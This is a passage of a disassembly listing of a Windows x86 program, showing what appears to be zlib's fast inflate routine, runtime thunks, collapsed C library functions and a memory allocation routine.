; CODE XREF: sub_4C7E30+3Bj mov edx, [ebp+arg_10] mov eax, [edx+2Ch] sub eax, [ebp+var_8] mov [ebp+var_38], eax loc_4C7E8A: ; CODE XREF: sub_4C7E30+4Cj mov ecx, [ebp+var_38] mov [ebp+var_2C], ecx mov edx, [ebp+arg_0] mov eax, dword_4EF200[edx*4] mov [ebp+var_24], eax mov ecx, [ebp+arg_4] mov edx, dword_4EF200[ecx*4] mov [ebp+var_30], edx loc_4C7EAA: ; CODE XREF: sub_4C7E30+AFj ; sub_4C7E30+6F8j cmp [ebp+var_28], 14h jnb short loc_4C7EE1 mov eax, [ebp+var_34] sub eax, 1 mov [ebp+var_34], eax mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] mov ecx, [ebp+var_28] shl edx, cl mov eax, [ebp+var_10] or eax, edx mov [ebp+var_10], eax mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_28] add edx, 8 mov [ebp+var_28], edx jmp short loc_4C7EAA ; --------------------------------------------------------------------------- loc_4C7EE1: ; CODE XREF: sub_4C7E30+7Ej mov eax, [ebp+var_10] and eax, [ebp+var_24] mov ecx, [ebp+arg_8] lea edx, [ecx+eax*8] mov [ebp+var_1C], edx mov eax, [ebp+var_1C] xor ecx, ecx mov cl, [eax] mov [ebp+var_20], ecx cmp [ebp+var_20], 0 jnz short loc_4C7F44 mov edx, [ebp+var_1C] xor eax, eax mov al, [edx+1] mov ecx, eax mov edx, [ebp+var_10] shr edx, cl mov [ebp+var_10], edx mov eax, [ebp+var_1C] xor ecx, ecx mov cl, [eax+1] mov edx, [ebp+var_28] sub edx, ecx mov [ebp+var_28], edx mov eax, [ebp+var_8] mov ecx, [ebp+var_1C] mov dl, [ecx+4] mov [eax], dl mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax mov ecx, [ebp+var_2C] sub ecx, 1 mov [ebp+var_2C], ecx jmp loc_4C851B ; --------------------------------------------------------------------------- loc_4C7F44: ; CODE XREF: sub_4C7E30+CEj ; sub_4C7E30+6E5j mov edx, [ebp+var_1C] xor eax, eax mov al, [edx+1] mov ecx, eax mov edx, [ebp+var_10] shr edx, cl mov [ebp+var_10], edx mov eax, [ebp+var_1C] xor ecx, ecx mov cl, [eax+1] mov edx, [ebp+var_28] sub edx, ecx mov [ebp+var_28], edx mov eax, [ebp+var_20] and eax, 10h test eax, eax jz loc_4C833C mov ecx, [ebp+var_20] and ecx, 0Fh mov [ebp+var_20], ecx mov edx, [ebp+var_20] mov eax, [ebp+var_10] and eax, dword_4EF200[edx*4] mov ecx, [ebp+var_1C] mov edx, [ecx+4] add edx, eax mov [ebp+var_14], edx mov eax, [ebp+var_10] mov ecx, [ebp+var_20] shr eax, cl mov [ebp+var_10], eax mov ecx, [ebp+var_28] sub ecx, [ebp+var_20] mov [ebp+var_28], ecx loc_4C7FA9: ; CODE XREF: sub_4C7E30+1B0j cmp [ebp+var_28], 0Fh jnb short loc_4C7FE2 mov edx, [ebp+var_34] sub edx, 1 mov [ebp+var_34], edx mov eax, [ebp+var_4] xor ecx, ecx mov cl, [eax] mov edx, ecx mov ecx, [ebp+var_28] shl edx, cl mov eax, [ebp+var_10] or eax, edx mov [ebp+var_10], eax mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_28] add edx, 8 mov [ebp+var_28], edx jmp short loc_4C7FA9 ; --------------------------------------------------------------------------- loc_4C7FE2: ; CODE XREF: sub_4C7E30+17Dj mov eax, [ebp+var_10] and eax, [ebp+var_30] mov ecx, [ebp+arg_C] lea edx, [ecx+eax*8] mov [ebp+var_1C], edx mov eax, [ebp+var_1C] xor ecx, ecx mov cl, [eax] mov [ebp+var_20], ecx loc_4C7FFB: ; CODE XREF: sub_4C7E30+501j mov edx, [ebp+var_1C] xor eax, eax mov al, [edx+1] mov ecx, eax mov edx, [ebp+var_10] shr edx, cl mov [ebp+var_10], edx mov eax, [ebp+var_1C] xor ecx, ecx mov cl, [eax+1] mov edx, [ebp+var_28] sub edx, ecx mov [ebp+var_28], edx mov eax, [ebp+var_20] and eax, 10h test eax, eax jz loc_4C8248 mov ecx, [ebp+var_20] and ecx, 0Fh mov [ebp+var_20], ecx loc_4C8034: ; CODE XREF: sub_4C7E30+23Bj mov edx, [ebp+var_28] cmp edx, [ebp+var_20] jnb short loc_4C806D mov eax, [ebp+var_34] sub eax, 1 mov [ebp+var_34], eax mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] mov ecx, [ebp+var_28] shl edx, cl mov eax, [ebp+var_10] or eax, edx mov [ebp+var_10], eax mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_28] add edx, 8 mov [ebp+var_28], edx jmp short loc_4C8034 ; --------------------------------------------------------------------------- loc_4C806D: ; CODE XREF: sub_4C7E30+20Aj mov eax, [ebp+var_20] mov ecx, [ebp+var_10] and ecx, dword_4EF200[eax*4] mov edx, [ebp+var_1C] mov eax, [edx+4] add eax, ecx mov [ebp+var_18], eax mov edx, [ebp+var_10] mov ecx, [ebp+var_20] shr edx, cl mov [ebp+var_10], edx mov eax, [ebp+var_28] sub eax, [ebp+var_20] mov [ebp+var_28], eax mov ecx, [ebp+var_2C] sub ecx, [ebp+var_14] mov [ebp+var_2C], ecx mov edx, [ebp+var_8] sub edx, [ebp+var_18] mov [ebp+var_C], edx mov eax, [ebp+arg_10] mov ecx, [ebp+var_C] cmp ecx, [eax+28h] jnb loc_4C81CE loc_4C80BA: ; CODE XREF: sub_4C7E30+2A7j mov edx, [ebp+arg_10] mov eax, [ebp+arg_10] mov ecx, [edx+2Ch] sub ecx, [eax+28h] mov edx, [ebp+var_C] add edx, ecx mov [ebp+var_C], edx mov eax, [ebp+arg_10] mov ecx, [ebp+var_C] cmp ecx, [eax+28h] jb short loc_4C80BA mov edx, [ebp+arg_10] mov eax, [edx+2Ch] sub eax, [ebp+var_C] mov [ebp+var_20], eax mov ecx, [ebp+var_14] cmp ecx, [ebp+var_20] jbe short loc_4C8157 mov edx, [ebp+var_14] sub edx, [ebp+var_20] mov [ebp+var_14], edx loc_4C80F6: ; CODE XREF: sub_4C7E30+2EFj mov eax, [ebp+var_8] mov ecx, [ebp+var_C] mov dl, [ecx] mov [eax], dl mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx mov edx, [ebp+var_20] sub edx, 1 mov [ebp+var_20], edx cmp [ebp+var_20], 0 jnz short loc_4C80F6 mov eax, [ebp+arg_10] mov ecx, [eax+28h] mov [ebp+var_C], ecx loc_4C812A: ; CODE XREF: sub_4C7E30+323j mov edx, [ebp+var_8] mov eax, [ebp+var_C] mov cl, [eax] mov [edx], cl mov edx, [ebp+var_8] add edx, 1 mov [ebp+var_8], edx mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax mov ecx, [ebp+var_14] sub ecx, 1 mov [ebp+var_14], ecx cmp [ebp+var_14], 0 jnz short loc_4C812A jmp short loc_4C81CC ; --------------------------------------------------------------------------- loc_4C8157: ; CODE XREF: sub_4C7E30+2BBj mov edx, [ebp+var_8] mov eax, [ebp+var_C] mov cl, [eax] mov [edx], cl mov edx, [ebp+var_8] add edx, 1 mov [ebp+var_8], edx mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax mov ecx, [ebp+var_14] sub ecx, 1 mov [ebp+var_14], ecx mov edx, [ebp+var_8] mov eax, [ebp+var_C] mov cl, [eax] mov [edx], cl mov edx, [ebp+var_8] add edx, 1 mov [ebp+var_8], edx mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax mov ecx, [ebp+var_14] sub ecx, 1 mov [ebp+var_14], ecx loc_4C81A1: ; CODE XREF: sub_4C7E30+39Aj mov edx, [ebp+var_8] mov eax, [ebp+var_C] mov cl, [eax] mov [edx], cl mov edx, [ebp+var_8] add edx, 1 mov [ebp+var_8], edx mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax mov ecx, [ebp+var_14] sub ecx, 1 mov [ebp+var_14], ecx cmp [ebp+var_14], 0 jnz short loc_4C81A1 loc_4C81CC: ; CODE XREF: sub_4C7E30+325j jmp short loc_4C8243 ; --------------------------------------------------------------------------- loc_4C81CE: ; CODE XREF: sub_4C7E30+284j mov edx, [ebp+var_8] mov eax, [ebp+var_C] mov cl, [eax] mov [edx], cl mov edx, [ebp+var_8] add edx, 1 mov [ebp+var_8], edx mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax mov ecx, [ebp+var_14] sub ecx, 1 mov [ebp+var_14], ecx mov edx, [ebp+var_8] mov eax, [ebp+var_C] mov cl, [eax] mov [edx], cl mov edx, [ebp+var_8] add edx, 1 mov [ebp+var_8], edx mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax mov ecx, [ebp+var_14] sub ecx, 1 mov [ebp+var_14], ecx loc_4C8218: ; CODE XREF: sub_4C7E30+411j mov edx, [ebp+var_8] mov eax, [ebp+var_C] mov cl, [eax] mov [edx], cl mov edx, [ebp+var_8] add edx, 1 mov [ebp+var_8], edx mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax mov ecx, [ebp+var_14] sub ecx, 1 mov [ebp+var_14], ecx cmp [ebp+var_14], 0 jnz short loc_4C8218 loc_4C8243: ; CODE XREF: sub_4C7E30:loc_4C81CCj jmp loc_4C8337 ; --------------------------------------------------------------------------- loc_4C8248: ; CODE XREF: sub_4C7E30+1F5j mov edx, [ebp+var_20] and edx, 40h test edx, edx jnz short loc_4C8286 mov eax, [ebp+var_1C] mov ecx, [eax+4] mov edx, [ebp+var_1C] lea eax, [edx+ecx*8] mov [ebp+var_1C], eax mov ecx, [ebp+var_20] mov edx, [ebp+var_10] and edx, dword_4EF200[ecx*4] mov eax, [ebp+var_1C] lea ecx, [eax+edx*8] mov [ebp+var_1C], ecx mov edx, [ebp+var_1C] xor eax, eax mov al, [edx] mov [ebp+var_20], eax jmp loc_4C832A ; --------------------------------------------------------------------------- loc_4C8286: ; CODE XREF: sub_4C7E30+420j mov ecx, [ebp+arg_14] mov dword ptr [ecx+18h], offset aInvalidDista_0 ; "invalid distance code" mov edx, [ebp+arg_14] mov eax, [edx+4] sub eax, [ebp+var_34] mov [ebp+var_14], eax mov ecx, [ebp+var_28] shr ecx, 3 cmp ecx, [ebp+var_14] jnb short loc_4C82B2 mov edx, [ebp+var_28] shr edx, 3 mov [ebp+var_3C], edx jmp short loc_4C82B8 ; --------------------------------------------------------------------------- loc_4C82B2: ; CODE XREF: sub_4C7E30+475j mov eax, [ebp+var_14] mov [ebp+var_3C], eax loc_4C82B8: ; CODE XREF: sub_4C7E30+480j mov ecx, [ebp+var_3C] mov [ebp+var_14], ecx mov edx, [ebp+var_34] add edx, [ebp+var_14] mov [ebp+var_34], edx mov eax, [ebp+var_4] sub eax, [ebp+var_14] mov [ebp+var_4], eax mov ecx, [ebp+var_14] shl ecx, 3 mov edx, [ebp+var_28] sub edx, ecx mov [ebp+var_28], edx mov eax, [ebp+arg_10] mov ecx, [ebp+var_10] mov [eax+20h], ecx mov edx, [ebp+arg_10] mov eax, [ebp+var_28] mov [edx+1Ch], eax mov ecx, [ebp+arg_14] mov edx, [ebp+var_34] mov [ecx+4], edx mov eax, [ebp+arg_14] mov ecx, [ebp+var_4] sub ecx, [eax] mov edx, [ebp+arg_14] mov eax, [edx+8] add eax, ecx mov ecx, [ebp+arg_14] mov [ecx+8], eax mov edx, [ebp+arg_14] mov eax, [ebp+var_4] mov [edx], eax mov ecx, [ebp+arg_10] mov edx, [ebp+var_8] mov [ecx+34h], edx mov eax, 0FFFFFFFDh jmp loc_4C85C0 ; --------------------------------------------------------------------------- loc_4C832A: ; CODE XREF: sub_4C7E30+451j mov eax, 1 test eax, eax jnz loc_4C7FFB loc_4C8337: ; CODE XREF: sub_4C7E30:loc_4C8243j jmp loc_4C851B ; --------------------------------------------------------------------------- loc_4C833C: ; CODE XREF: sub_4C7E30+13Ej mov ecx, [ebp+var_20] and ecx, 40h test ecx, ecx jnz short loc_4C83C2 mov edx, [ebp+var_1C] mov eax, [edx+4] mov ecx, [ebp+var_1C] lea edx, [ecx+eax*8] mov [ebp+var_1C], edx mov eax, [ebp+var_20] mov ecx, [ebp+var_10] and ecx, dword_4EF200[eax*4] mov edx, [ebp+var_1C] lea eax, [edx+ecx*8] mov [ebp+var_1C], eax mov ecx, [ebp+var_1C] xor edx, edx mov dl, [ecx] mov [ebp+var_20], edx cmp [ebp+var_20], 0 jnz short loc_4C83BD mov eax, [ebp+var_1C] xor ecx, ecx mov cl, [eax+1] mov edx, [ebp+var_10] shr edx, cl mov [ebp+var_10], edx mov eax, [ebp+var_1C] xor ecx, ecx mov cl, [eax+1] mov edx, [ebp+var_28] sub edx, ecx mov [ebp+var_28], edx mov eax, [ebp+var_8] mov ecx, [ebp+var_1C] mov dl, [ecx+4] mov [eax], dl mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax mov ecx, [ebp+var_2C] sub ecx, 1 mov [ebp+var_2C], ecx jmp loc_4C851B ; --------------------------------------------------------------------------- loc_4C83BD: ; CODE XREF: sub_4C7E30+549j jmp loc_4C850E ; --------------------------------------------------------------------------- loc_4C83C2: ; CODE XREF: sub_4C7E30+514j mov edx, [ebp+var_20] and edx, 20h test edx, edx jz loc_4C846A mov eax, [ebp+arg_14] mov ecx, [eax+4] sub ecx, [ebp+var_34] mov [ebp+var_14], ecx mov edx, [ebp+var_28] shr edx, 3 cmp edx, [ebp+var_14] jnb short loc_4C83F2 mov eax, [ebp+var_28] shr eax, 3 mov [ebp+var_40], eax jmp short loc_4C83F8 ; --------------------------------------------------------------------------- loc_4C83F2: ; CODE XREF: sub_4C7E30+5B5j mov ecx, [ebp+var_14] mov [ebp+var_40], ecx loc_4C83F8: ; CODE XREF: sub_4C7E30+5C0j mov edx, [ebp+var_40] mov [ebp+var_14], edx mov eax, [ebp+var_34] add eax, [ebp+var_14] mov [ebp+var_34], eax mov ecx, [ebp+var_4] sub ecx, [ebp+var_14] mov [ebp+var_4], ecx mov edx, [ebp+var_14] shl edx, 3 mov eax, [ebp+var_28] sub eax, edx mov [ebp+var_28], eax mov ecx, [ebp+arg_10] mov edx, [ebp+var_10] mov [ecx+20h], edx mov eax, [ebp+arg_10] mov ecx, [ebp+var_28] mov [eax+1Ch], ecx mov edx, [ebp+arg_14] mov eax, [ebp+var_34] mov [edx+4], eax mov ecx, [ebp+arg_14] mov edx, [ebp+var_4] sub edx, [ecx] mov eax, [ebp+arg_14] mov ecx, [eax+8] add ecx, edx mov edx, [ebp+arg_14] mov [edx+8], ecx mov eax, [ebp+arg_14] mov ecx, [ebp+var_4] mov [eax], ecx mov edx, [ebp+arg_10] mov eax, [ebp+var_8] mov [edx+34h], eax mov eax, 1 jmp loc_4C85C0 ; --------------------------------------------------------------------------- loc_4C846A: ; CODE XREF: sub_4C7E30+59Aj mov ecx, [ebp+arg_14] mov dword ptr [ecx+18h], offset aInvalidLiter_0 ; "invalid literal/length code" mov edx, [ebp+arg_14] mov eax, [edx+4] sub eax, [ebp+var_34] mov [ebp+var_14], eax mov ecx, [ebp+var_28] shr ecx, 3 cmp ecx, [ebp+var_14] jnb short loc_4C8496 mov edx, [ebp+var_28] shr edx, 3 mov [ebp+var_44], edx jmp short loc_4C849C ; --------------------------------------------------------------------------- loc_4C8496: ; CODE XREF: sub_4C7E30+659j mov eax, [ebp+var_14] mov [ebp+var_44], eax loc_4C849C: ; CODE XREF: sub_4C7E30+664j mov ecx, [ebp+var_44] mov [ebp+var_14], ecx mov edx, [ebp+var_34] add edx, [ebp+var_14] mov [ebp+var_34], edx mov eax, [ebp+var_4] sub eax, [ebp+var_14] mov [ebp+var_4], eax mov ecx, [ebp+var_14] shl ecx, 3 mov edx, [ebp+var_28] sub edx, ecx mov [ebp+var_28], edx mov eax, [ebp+arg_10] mov ecx, [ebp+var_10] mov [eax+20h], ecx mov edx, [ebp+arg_10] mov eax, [ebp+var_28] mov [edx+1Ch], eax mov ecx, [ebp+arg_14] mov edx, [ebp+var_34] mov [ecx+4], edx mov eax, [ebp+arg_14] mov ecx, [ebp+var_4] sub ecx, [eax] mov edx, [ebp+arg_14] mov eax, [edx+8] add eax, ecx mov ecx, [ebp+arg_14] mov [ecx+8], eax mov edx, [ebp+arg_14] mov eax, [ebp+var_4] mov [edx], eax mov ecx, [ebp+arg_10] mov edx, [ebp+var_8] mov [ecx+34h], edx mov eax, 0FFFFFFFDh jmp loc_4C85C0 ; --------------------------------------------------------------------------- loc_4C850E: ; CODE XREF: sub_4C7E30:loc_4C83BDj mov eax, 1 test eax, eax jnz loc_4C7F44 loc_4C851B: ; CODE XREF: sub_4C7E30+10Fj ; sub_4C7E30:loc_4C8337j ... cmp [ebp+var_2C], 102h jb short loc_4C852E cmp [ebp+var_34], 0Ah jnb loc_4C7EAA loc_4C852E: ; CODE XREF: sub_4C7E30+6F2j mov ecx, [ebp+arg_14] mov edx, [ecx+4] sub edx, [ebp+var_34] mov [ebp+var_14], edx mov eax, [ebp+var_28] shr eax, 3 cmp eax, [ebp+var_14] jnb short loc_4C8550 mov ecx, [ebp+var_28] shr ecx, 3 mov [ebp+var_48], ecx jmp short loc_4C8556 ; --------------------------------------------------------------------------- loc_4C8550: ; CODE XREF: sub_4C7E30+713j mov edx, [ebp+var_14] mov [ebp+var_48], edx loc_4C8556: ; CODE XREF: sub_4C7E30+71Ej mov eax, [ebp+var_48] mov [ebp+var_14], eax mov ecx, [ebp+var_34] add ecx, [ebp+var_14] mov [ebp+var_34], ecx mov edx, [ebp+var_4] sub edx, [ebp+var_14] mov [ebp+var_4], edx mov eax, [ebp+var_14] shl eax, 3 mov ecx, [ebp+var_28] sub ecx, eax mov [ebp+var_28], ecx mov edx, [ebp+arg_10] mov eax, [ebp+var_10] mov [edx+20h], eax mov ecx, [ebp+arg_10] mov edx, [ebp+var_28] mov [ecx+1Ch], edx mov eax, [ebp+arg_14] mov ecx, [ebp+var_34] mov [eax+4], ecx mov edx, [ebp+arg_14] mov eax, [ebp+var_4] sub eax, [edx] mov ecx, [ebp+arg_14] mov edx, [ecx+8] add edx, eax mov eax, [ebp+arg_14] mov [eax+8], edx mov ecx, [ebp+arg_14] mov edx, [ebp+var_4] mov [ecx], edx mov eax, [ebp+arg_10] mov ecx, [ebp+var_8] mov [eax+34h], ecx xor eax, eax loc_4C85C0: ; CODE XREF: sub_4C7E30+4F5j ; sub_4C7E30+635j ... mov esp, ebp pop ebp retn sub_4C7E30 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4C85C4 proc near ; CODE XREF: sub_4B3AFF+1AAp ; sub_4B3AFF+233p ... jmp dword_4ED270 sub_4C85C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4C85CA proc near ; CODE XREF: sub_4B40C4+440p jmp dword_4ED238 sub_4C85CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4C85D0 proc near ; CODE XREF: sub_4B40C4+3B1p jmp dword_4ED234 sub_4C85D0 endp ; =============== S U B R O U T I N E ======================================= sub_4C85D6 proc near ; CODE XREF: .text:0048D07Bp ; sub_48D2A6+E4p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_4CA2FB pop ecx retn sub_4C85D6 endp ; =============== S U B R O U T I N E ======================================= sub_4C85E1 proc near ; CODE XREF: .text:0048D00Ap ; sub_48D2A6+Fp ... arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call __nh_malloc_0 pop ecx pop ecx retn sub_4C85E1 endp ; --------------------------------------------------------------------------- align 10h ; [00000335 BYTES: COLLAPSED FUNCTION _memcpy_1. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000335 BYTES: COLLAPSED FUNCTION _memcpy_2. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000AC BYTES: COLLAPSED FUNCTION _memcmp_0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000058 BYTES: COLLAPSED FUNCTION _memset_0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000002F BYTES: COLLAPSED FUNCTION __alloca_probe_0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000005 BYTES: COLLAPSED CHUNK OF FUNCTION _strchr_0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000BC BYTES: COLLAPSED FUNCTION _strchr_0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000007 BYTES: COLLAPSED FUNCTION _strcpy_0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000E0 BYTES: COLLAPSED FUNCTION _strcat_0. PRESS KEYPAD "+" TO EXPAND] ; [00000027 BYTES: COLLAPSED FUNCTION _strrchr_0. PRESS KEYPAD "+" TO EXPAND] ; [00000029 BYTES: COLLAPSED FUNCTION _wcschr. PRESS KEYPAD "+" TO EXPAND] ; [00000025 BYTES: COLLAPSED FUNCTION _wcscpy. PRESS KEYPAD "+" TO EXPAND] ; [00000040 BYTES: COLLAPSED FUNCTION _wcsrchr. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000007B BYTES: COLLAPSED FUNCTION _strlen_0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000FE BYTES: COLLAPSED FUNCTION _strncpy_0. PRESS KEYPAD "+" TO EXPAND] ; [0000001D BYTES: COLLAPSED FUNCTION _wcslen_0. PRESS KEYPAD "+" TO EXPAND] ; [0000003D BYTES: COLLAPSED FUNCTION _wcsncpy. PRESS KEYPAD "+" TO EXPAND] ; [0000002D BYTES: COLLAPSED FUNCTION __cinit_0. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION _exit_0. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION __exit_0. PRESS KEYPAD "+" TO EXPAND] ; [00000099 BYTES: COLLAPSED FUNCTION _doexit_0. PRESS KEYPAD "+" TO EXPAND] ; [0000001A BYTES: COLLAPSED FUNCTION __initterm_0. PRESS KEYPAD "+" TO EXPAND] ; [00000052 BYTES: COLLAPSED FUNCTION _sprintf_0. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_4C935C proc near ; CODE XREF: .text:004B56D2p ; .text:004B5DCDp ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] mov eax, dword_4F4A20 mov dword_4F4A20, ecx retn sub_4C935C endp ; [0000001B BYTES: COLLAPSED FUNCTION __callnewh_0. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000020 BYTES: COLLAPSED FUNCTION __global_unwind2_0. PRESS KEYPAD "+" TO EXPAND] ; [00000022 BYTES: COLLAPSED FUNCTION __unwind_handler_0. PRESS KEYPAD "+" TO EXPAND] ; [00000068 BYTES: COLLAPSED FUNCTION __local_unwind2_0. PRESS KEYPAD "+" TO EXPAND] ; [00000023 BYTES: COLLAPSED FUNCTION __abnormal_termination_0. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- __NLG_Notify1_0: push ebx push ecx mov ebx, offset dword_4EF280 jmp short loc_4C9468 ; [00000018 BYTES: COLLAPSED FUNCTION __NLG_Notify_0. PRESS KEYPAD "+" TO EXPAND] align 4 push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; [000000BD BYTES: COLLAPSED FUNCTION unknown_libname_18. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- unknown_libname_19: ; Microsoft VisualC 2-8/net runtime push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call __local_unwind2_0 add esp, 8 pop ebp retn 4 ; [0000008B BYTES: COLLAPSED FUNCTION _atol_0. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_4C95E3(char *Str) sub_4C95E3 proc near ; CODE XREF: WinMain(x,x,x,x)+150p Str = dword ptr 4 push [esp+Str] ; Str call _atol_0 pop ecx retn sub_4C95E3 endp ; [00000028 BYTES: COLLAPSED FUNCTION _isdigit. PRESS KEYPAD "+" TO EXPAND] ; [000000DC BYTES: COLLAPSED FUNCTION _time_0. PRESS KEYPAD "+" TO EXPAND] ; [00000051 BYTES: COLLAPSED FUNCTION _vsprintf. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_4C9743 proc near ; CODE XREF: .text:004BE4C8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push 0 push [esp+4+arg_C] push [esp+8+arg_8] push [esp+0Ch+arg_4] push [esp+10h+arg_0] call sub_4C975E add esp, 14h retn sub_4C9743 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4C975E proc near ; CODE XREF: sub_4C9743+12p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_10] mov [ebp+var_4], eax test ebx, ebx jnz short loc_4C9776 mov ebx, off_4EF290 loc_4C9776: ; CODE XREF: sub_4C975E+10j test eax, eax jbe loc_4C9809 push esi mov esi, [ebp+arg_8] loc_4C9782: ; CODE XREF: sub_4C975E+94j mov al, [esi] test al, al jz short loc_4C97F4 cmp al, 25h jz short loc_4C97BE mov edx, off_4EF354 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_4C97AE cmp [ebp+var_4], 1 jbe short loc_4C97AE mov ecx, [ebp+arg_0] mov [ecx], al inc [ebp+arg_0] inc esi dec [ebp+var_4] loc_4C97AE: ; CODE XREF: sub_4C975E+3Cj ; sub_4C975E+42j mov ecx, [ebp+arg_0] mov al, [esi] mov [ecx], al inc [ebp+arg_0] inc esi dec [ebp+var_4] jmp short loc_4C97EE ; --------------------------------------------------------------------------- loc_4C97BE: ; CODE XREF: sub_4C975E+2Cj and dword_4F6028, 0 inc esi cmp byte ptr [esi], 23h jnz short loc_4C97D6 mov dword_4F6028, 1 inc esi loc_4C97D6: ; CODE XREF: sub_4C975E+6Bj lea eax, [ebp+var_4] push ebx push eax lea eax, [ebp+arg_0] push eax mov al, [esi] push [ebp+arg_C] push eax call __expandtime add esp, 14h inc esi loc_4C97EE: ; CODE XREF: sub_4C975E+5Ej cmp [ebp+var_4], 0 ja short loc_4C9782 loc_4C97F4: ; CODE XREF: sub_4C975E+28j cmp [ebp+var_4], 0 pop esi jbe short loc_4C9809 mov eax, [ebp+arg_0] and byte ptr [eax], 0 mov eax, [ebp+arg_4] sub eax, [ebp+var_4] jmp short loc_4C980B ; --------------------------------------------------------------------------- loc_4C9809: ; CODE XREF: sub_4C975E+1Aj ; sub_4C975E+9Bj xor eax, eax loc_4C980B: ; CODE XREF: sub_4C975E+A9j pop ebx leave retn sub_4C975E endp ; [000003EF BYTES: COLLAPSED FUNCTION __expandtime. PRESS KEYPAD "+" TO EXPAND] ; [00000027 BYTES: COLLAPSED FUNCTION __store_str. PRESS KEYPAD "+" TO EXPAND] ; [0000006F BYTES: COLLAPSED FUNCTION __store_num. PRESS KEYPAD "+" TO EXPAND] ; [00000049 BYTES: COLLAPSED FUNCTION __store_number. PRESS KEYPAD "+" TO EXPAND] ; [000002CF BYTES: COLLAPSED FUNCTION __store_winword. PRESS KEYPAD "+" TO EXPAND] ; [00000160 BYTES: COLLAPSED FUNCTION _localtime. PRESS KEYPAD "+" TO EXPAND] ; [000000D7 BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- mov eax, [ebp-14h] mov ecx, [eax] mov ecx, [ecx] mov [ebp-68h], ecx push eax push ecx call __XcptFilter_0 pop ecx pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] push dword ptr [ebp-68h] call __exit_0 ; [00000022 BYTES: COLLAPSED FUNCTION __amsg_exit_0. PRESS KEYPAD "+" TO EXPAND] pop ecx pop ecx retn ; [00000024 BYTES: COLLAPSED FUNCTION _fast_error_exit_0. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4CA24A(size_t Size,int) sub_4CA24A proc near ; CODE XREF: sub_4C169E+1Fp ; ___initstdio_0+22p ... Size = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+Size] imul esi, [ebp+arg_4] cmp esi, 0FFFFFFE0h push edi mov [ebp+Size], esi ja short loc_4CA26B test esi, esi jnz short loc_4CA265 push 1 pop esi loc_4CA265: ; CODE XREF: sub_4CA24A+16j add esi, 0Fh and esi, 0FFFFFFF0h loc_4CA26B: ; CODE XREF: sub_4CA24A+12j ; sub_4CA24A+94j xor edi, edi cmp esi, 0FFFFFFE0h ja short loc_4CA2CA mov eax, dword_4F5F04 cmp eax, 3 jnz short loc_4CA296 mov eax, [ebp+Size] cmp eax, dword_4F5EFC ja short loc_4CA2B5 push eax call ___sbh_alloc_block_0 mov edi, eax pop ecx test edi, edi jnz short loc_4CA2E0 jmp short loc_4CA2B5 ; --------------------------------------------------------------------------- loc_4CA296: ; CODE XREF: sub_4CA24A+30j cmp eax, 2 jnz short loc_4CA2B5 cmp esi, dword_4F177C ja short loc_4CA2B5 mov eax, esi shr eax, 4 push eax call sub_4CCEF1 mov edi, eax pop ecx test edi, edi jnz short loc_4CA2F4 loc_4CA2B5: ; CODE XREF: sub_4CA24A+3Bj ; sub_4CA24A+4Aj ... push esi push 8 push dword_4F5F00 